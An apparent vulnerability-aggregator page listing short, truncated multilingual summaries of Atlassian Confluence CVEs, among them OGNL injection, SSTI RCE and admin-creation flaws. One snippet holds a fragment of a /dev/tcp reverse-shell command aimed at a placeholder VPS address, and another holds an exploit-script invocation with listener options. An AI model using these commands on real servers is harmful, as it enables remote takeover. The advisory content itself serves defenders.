CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - Vulnerabilidade de RCE Execução Remota de Código em Versões Desatualizadas do Confluence Data Center e Server Data de Lançamento do Aviso Tue, Jan 16 2024 01:00 EST Produtos: Confluence Data Center Confluence Server Versões Afetadas: 8.0.x 8.1.x 8.2.x 8.3.x 8.4.x...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - Уязвимость Server-side Template Injection SSTI, позволяющая выполнение удаленного кода RCE в Confluence Data Center и Confluence Server Затронутые продукты и версии:...

CVE-2023-22515

CVE-2023-22515 معلومات أساسية عن CVE-2023-22515 المنتج المتأثر: Atlassian Confluence Data Center وConfluence Server. تاريخ الإعلان: 04/10/2023. مستوى الخطورة: حرج CVSS 10.0. نوع الثغرة: Broken Access Control / تفويض غير صحيح → تسمح للمهاجم بإنشاء حساب مسؤول عن بُعد. الخلل يكمن في آلية إعداد...

cve-2022-26134

cve-2022-26134 cve-2022-26134 atlassia Confluence Data Center2016 服务器 OGNL %...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-в-Confluence-Data-Center-и-Server Эта уязвимость позволяет неаутентифицированному злоумышленнику удаленно выполнить произвольный код на уязвимом сервере Confluence. Уязвимость существует из-за неправильной проверки вводимых пользователем данных в REST API Confluence. Это...

CVE-2023-22515-Scan.

CVE-2023-22515-Scan Über Dies ist ein einfacher Scanner für CVE-2023-22515, eine kritische Schwachstelle in Atlassian Confluence Data Center und Server, die derzeit aktiv von Bedrohungsakteuren ausgenutzt wird, um „nicht autorisierte Confluence-Administratorkonten zu erstellen und auf...

CVE-2022-26134

CVE-2022-26134 Atlassian Confluence में एक पूर्व-प्रमाणीकृत RCE भेद्यता CVE का सारांश Confluence Server और Data Center के प्रभावित संस्करणों में, एक OGNL इंजेक्शन भेद्यता मौजूद है जो एक अप्रमाणीकृत हमलावर को Confluence Server या Data Center इंस्टेंस पर मनमाना कोड निष्पादित करने की अनुमति देगी।...

CVE-2022-26134

CVE-2022-26134 远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码,修改poc，方便getshell。常见端口:8090 影响版本 Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps por...

CVE-2023-22527-POC

CVE-2023-22527: Vulnerabilità di Atlassian Confluence Introduzione La vulnerabilità CVE-2023-22527 è una grave falla di sicurezza in Atlassian Confluence, una piattaforma di collaborazione e documentazione ampiamente utilizzata. Questa vulnerabilità è presente sia in Confluence Data Center che in...

CVE-2023-22515

Ferramenta de Equipe Vermelha - Ferramenta de Exploração de Vulnerabilidade de Adição Não Autorizada de Administrador no Confluence CVE-2023-22515 Versões Afetadas root@kitploit: 8.0.0 = Confluence Data Center and Confluence Server = 8.0.4 8.1.0 = Confluence Data Center and Confluence Server =...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server Questa vulnerabilità potrebbe permettere a un attaccante di prendere il controllo completo di un server Confluence vulnerabile. Ciò potrebbe consentire all'attaccante di rubare dati, modificarli o interrompere la disponibilità del server. P...

CVE-2023-22527

CVE-2023-22527 - Vulnerabilità RCE Remote Code Execution in Confluence Data Center e Confluence Server PoC Rilevamento nuclei -v -t /path/to/template.yam; -u http://ip:port/ Exploit python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...

CVE-2023-22527

CVE-2023-22527 - Atlassian Confluence: Esecuzione di codice in remoto Panoramica CVE-2023-22527 è una vulnerabilità critica di esecuzione di codice in remoto in Atlassian Confluence Data Center e Server. Questa vulnerabilità consente ad attaccanti non autenticati di eseguire codice arbitrario sul...

CVE-2023-22518

CVE-2023-22518 Schwachstelle durch fehlerhafte Autorisierung in Confluence Data Center und Server. Atlassian hat Administratoren vor einer schwerwiegenden Schwachstelle in Confluence gewarnt. Die Ausnutzung dieser Schwachstelle kann zu Datenverlust führen. Die Entwickler empfehlen daher, den Patc...

CVE-2023-22518

CVE-2023-22518 Schwachstelle durch fehlerhafte Autorisierung in Confluence Data Center und Server. Atlassian hat Administratoren auf eine kritische Schwachstelle in Confluence hingewiesen. Die Ausnutzung dieses Problems kann zu Datenverlust führen, daher empfehlen die Entwickler dringend, die...

CVE-2026-21580

This Critical severity Stored XSS, PrivEsc Privilege Escalation, and Security Misconfiguration vulnerability was introduced in versions 7.1.1, 7.4.0, 7.13.0, 7.17.0, 7.19.0, 8.0.0, 8.5.0, 8.9.0, 9.0.1, 9.1.0, 9.2.0, 9.3.1, 9.4.0, 9.5.1, 10.0.2, 10.1.0 and 10.2.0 of Confluence Data Center and...

CVE-2026-21580

Confluence Data Center and Server versions 7.1.1 through 10.2.0 are affected by a Critical (CVSS 9.3) Stored XSS, privilege escalation, and security misconfiguration issue exploitable by unauthenticated attackers. Atlassian recommends upgrading to 9.2.21 or 10.2.13 or later; no in-the-wild exploi...

Injection minimist Dependency in Confluence Data Center

This is a vulnerability in a non-Atlassian Confluence dependency. Atlassian's application of this dependency presents a lower, non-critical assessed risk. This Critical severity Injection vulnerability was introduced in versions 9.0.1 and 9.2.22 of Confluence Data Center. This Injection...

Atlassian Confluence 9.0.1 / 9.1.x / 9.2.x < 9.2.17 / 9.3.1 / 9.4.x / 9.5.1 / 10.0.2 / 10.1.x / 10.2.x < 10.2.7 (CONFSERVER-104334)

The version of Atlassian Confluence Server running on the remote host is affected by a vulnerability as referenced in the CONFSERVER-104334 advisory. - This High severity DoS Denial of Service vulnerability was introduced in versions 9.0.1, 9.1.0, 9.2.0, 9.3.1, 9.4.0, 9.5.1, 10.0.2, 10.1.0 and...

MITM (Man-in-the-Middle) org.postgresql:postgresql Dependency in Confluence Data Center

This High severity MITM Man-in-the-Middle vulnerability was introduced in versions 9.1.0, 9.2.0, 9.3.1, 9.4.0, 9.5.1, 10.0.2, and 10.1.0 of Confluence Data Center. This MITM Man-in-the-Middle vulnerability, with a CVSS Score of 8.2 and a CVSS Vector of...